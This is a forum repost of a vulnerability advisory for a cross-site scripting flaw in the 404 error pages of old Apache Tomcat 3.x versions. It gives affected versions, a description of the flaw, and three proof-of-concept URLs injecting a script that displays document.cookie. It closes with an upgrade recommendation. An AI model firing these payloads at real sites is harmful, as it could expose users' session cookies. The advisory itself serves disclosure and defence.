Board logo

标题: Apache Tomcat 404错误页跨站脚本漏洞 [打印本页]

作者: zclzhao    时间: 2009-12-2 14:11     标题: Apache Tomcat 404错误页跨站脚本漏洞

影响版本:
Apache Software Foundation Tomcat 3.2.1
Apache Software Foundation Tomcat 3.2
Apache Software Foundation Tomcat 31
Apache Software Foundation Tomcat 3.1
Apache Software Foundation Tomcat 3.0漏洞描述:
Bugraq ID: 37149

Apache Tomcat是一款开放源码的JSP应用服务器程序。
Apache Tomcat不正确过滤用户输入,远程攻击者可以利用漏洞进行跨站脚本攻击,获得敏感信息。
由于不正确处理404错误页面,在返回给用户后,可导致恶意脚本代码在目标浏览器上执行,泄漏敏感信息。<*参考  
http://websecurity.com.ua/3114
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!http://www.example.com/?offset=1&cid=1&limit=<script>alert(document.cookie)</script>
http://www.example.com/?offset=1&cid=<script>alert(document.cookie)</script>
http://www.example.com/?offset=<script>alert(document.cookie)</script>&cid=1SEBUG安全建议:
厂商解决方案
用户可联系供应商获得最新版本:
http://tomcat.apache.org/




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2